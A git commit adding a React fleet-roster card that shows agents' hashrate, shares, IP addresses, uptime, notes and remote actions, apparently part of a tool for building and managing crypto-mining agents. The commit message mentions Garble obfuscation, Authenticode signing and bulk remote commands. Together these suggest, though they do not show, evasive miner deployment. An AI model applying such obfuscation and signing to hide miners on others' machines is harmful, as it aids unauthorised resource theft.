Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -0,0 +1,97 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { WSMessage } from '../../types';
interface Props {
agent: Agent;
selected: boolean;
expanded: boolean;
selectable?: boolean;
checked?: boolean;
onToggleExpand: () => void;
onSelect: () => void;
onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null;
}
export default function AgentListItem({
agent,
selected,
expanded,
selectable,
checked,
onToggleExpand,
onSelect,
onCheck,
latestWsMessage,
}: Props) {
const online = agent.status === 'online';
const handleRowClick = (e: React.MouseEvent) => {
const target = e.target as HTMLElement;
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
return;
}
onSelect();
onToggleExpand();
};
return (
<div
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
onClick={handleRowClick}
>
<div className="agent-list-header">
<div className="agent-list-name">
{selectable && (
<input
type="checkbox"
className="checkbox agent-list-select"
checked={!!checked}
onChange={(e) => {
e.stopPropagation();
onCheck?.(e.target.checked);
}}
onClick={(e) => e.stopPropagation()}
/>
)}
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
{(agent.tags?.length ?? 0) > 0 && (
<div className="agent-list-tags">
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>}
</div>
{!expanded && agent.notes?.trim() && (
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
)}
{expanded && (
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
<div className="agent-list-meta">
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
<span>v{agent.version || '?'}</span>
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
</div>
)}
</div>
);
}